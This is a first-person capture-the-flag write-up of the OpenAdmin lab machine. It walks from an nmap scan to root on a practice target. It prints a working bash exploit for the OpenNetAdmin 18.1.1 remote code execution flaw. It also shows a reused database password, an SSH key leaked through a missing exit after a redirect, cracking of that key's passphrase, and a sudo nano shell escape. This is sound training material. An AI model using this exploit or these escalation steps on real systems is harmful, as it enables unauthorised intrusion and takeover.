OpenAdmin

It’s never too late to start

OpenAdmin starts off by finding an instance of OpenNetAdmin. This application is known to be vulnerable to a remote code execution, which then leveraged to gain a foothold on the system. Enumerating inside the machine reveals a database password that is reused by one of the users. This user has access to internal web which can be exploited to obtain the SSH key of another user. The second user is allowed to run a nano editor with sudo privileges, and this can be abused to gain root access.

Skills Learned

  • Exploitation of OpenNetAdmin 18.1.1
  • Sudo exploitation on nano.

Tools

Reconnaissance

Nmap

→ root@iamf «openadmin» «10.10.14.7»
$ nmap -sV -sC -oA OpenAdmin '10.10.10.171' -v
  • -sC, to scan with default script
  • -sV, to scan service version
  • -oA, to save the output to all formats
  • -v, verbose mode
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
|   256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_  256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

From the scan results, nmap found two open ports:

  • An SSH service running on port 22
  • An HTTP service running on port 80

As SSH usually requires valid credentials and there’s is no straight exploit yet, hence further enumeration is needed.

Enumeration

TCP  80 - Website

Visiting the standard http port only displays the Apache default page.

1ad0727e5956f0800cbe4ec0c02df451.png

Directory Brute Force - dirb

Running dirb against the web successfully discovered a few hidden paths.

→ root@iamf «openadmin» «10.10.14.7»
$ dirb http://10.10.10.171/ /usr/share/wordlists/dirb/common.txt -r
...<SNIP>...
---- Scanning URL: http://10.10.10.171/ ----
==> DIRECTORY: http://10.10.10.171/artwork/
+ http://10.10.10.171/index.html(CODE:200|SIZE:10918) 
==> DIRECTORY: http:/10.10.10.171/music/
+ http://10.10.10.171/server-status (CODE:200|SIZE:278)
...<SNIP>...

/artwork/

Nothing here.

image-20210402000812490

/music/

The /music home page provides a login menu that points to http://openadmin.htb/ona

image-20210402000847660

/ona/

Visiting /ona/ brings me to an instance of OpenNetAdmin. It is a software for managing network related things.

f0df4d83acc69be1e666eb6e40a73494.png

There’s a warning on the page. It’s complaining about not running the latest version compared to the one currently in use (v18.1.1)

Foothold

Shell as www-data

OpenNetAdmin 18.1.1 RCE

Based on the version above, a quick search on exploit-db shows that the current instance of OpenNetAdmin is vulnerable to a remote code execution. The exploit PoC source code is as follows:

#!/bin/bash

URL="${1}"
while true;do
 echo -n "$ "; read cmd
 curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
done

I saved the exploit to a file called OpenRCE.sh. I ran the exploit and it resulted in a shell access as www-data

→ kali@kali «openadmin» «10.10.14.7» 
$ ./OpenRCE.sh http://10.10.10.171/ona/
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ hostname
openadmin
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b9:72:3a brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.171/24 brd 10.10.10.255 scope global ens160
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:723a/64 scope global dynamic mngtmpaddr 
       valid_lft 86350sec preferred_lft 14350sec
    inet6 fe80::250:56ff:feb9:723a/64 scope link 
       valid_lft forever preferred_lft forever

Privilege Escalation

Shell as jimmy

Enumeration

Upon enumerating the current working directory, a database credential is found in ./local/config/database_settings.inc.php.

$ cat ./local/config/database_settings.inc.php
<?php

$ona_contexts=array (
  'DEFAULT' => 
  array (
    'databases' => 
    array (
      0 => 
      array (
        'db_type' => 'mysqli',
        'db_host' => 'localhost',
        'db_login' => 'ona_sys',
        'db_passwd' => 'n1nj4W4rri0R!',
        'db_database' => 'ona_default',
        'db_debug' => false,
      ),
    ),
    'description' => 'Default data context',
    'context_color' => '#D3DBFF',
  ),
);

SSH access

The password worked for user jimmy, but the user flag can not be found in jimmy’s home directory.

a0518e175f0d68951eac7bbb348b24e0.png

Shell as joanna

Enumeration

The find command is issued again to search files that is accessible or owned by user jimmy.

jimmy@openadmin:~$ find / -type f -user jimmy 2>/dev/null

...<SNIP>...
/var/www/internal/main.php
/var/www/internal/logout.php
/var/www/internal/login.php
...<SNIP>...

It successfully reveals that user jimmy has access to files in /var/www/internal/.

Based on apache config, /var/www/internal is currently hosted locally on port 52846.

jimmy@openadmin:~$ cat /etc/apache2/sites-enabled/internal.conf 
Listen 127.0.0.1:52846

<VirtualHost 127.0.0.1:52846>
    ServerName internal.openadmin.htb
    DocumentRoot /var/www/internal

<IfModule mpm_itk_module>
AssignUserID joanna joanna
</IfModule>

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined

</VirtualHost>

Code review - Improper redirection

After inspecting the main.php source code from /var/www/internal/, a logic flaw was found on the first line.

jimmy@openadmin:/var/www/internal/$ cat main.php

<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); }; 
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>

This line code has an improper redirection.

<?php session_start(); 
	if (!isset ($_SESSION['username'])) { 
		header("Location: /index.php"); 
        # `die();` or `exit();` function should be called here.
	};
...<SNIP>...
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
...<SNIP>...

The code above checks users' sessions but it’s not complete yet because the die() or exit() function is missing, so the rest of the code below will be executed as well. Therefore, sending a normal request with curl (default without -L option) will prevent the page from redirection and then it renders joanna’s SSH key.

jimmy@openadmin:~$ curl -s http://127.0.0.1:52846/main.php

6b73c3ba7aa0ba3e068b85435dc8aeb1.png

Password cracking

The private key is encrypted with a password. JtR can be used to crack an encrypted SSH key, but first, it must be converted to the hash form and this can be done by using ssh2john.py

→ root@iamf «openadmin» «10.10.14.7»
$ python ssh2john.py joanna_rsa > joanna_rsa.hash

The password was successfully cracked within 17s. The cracking process is performed on my Windows machine.

C:\> john.exe user2.txt --wordlist=rockyou.txz

ca148e3ae5b2e8b65406e0d387ca1771.png

SSH access

Now I’m able to login as user joanna via SSH.

→ root@iamf «openadmin» «10.10.14.7»
$ ssh -i joanna_rsa joanna@10.10.10.171

8f710060b1059b0ddb7cae2253e0c1ac.png

The user flag is done here.

Shell as root

Abusing sudo nano

User joanna has sudo privileges on /bin/nano

On linux boxes, whenever you own a valid user password, always check sudo -l !

joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User joanna may run the following commands on openadmin:
    (ALL) NOPASSWD: /bin/nano /opt/priv

A quick way to read the root flag is by issuing the command below,

joanna@openadmin:~$ sudo /bin/nano /opt/priv

and then hit CTRL + R to open a file, this allows us to read the root flag at /root/root.txt

image-20210404121427744

To gain root shell, I’ll follow the instruction from GTFOBins page:

joanna@openadmin:~$ sudo /bin/nano /opt/priv # Opening nano as root
^R^X # CTRL+R (read/open file), CTRL+X(execute command)
reset; sh 1>&0 2>&0 # Escape from nano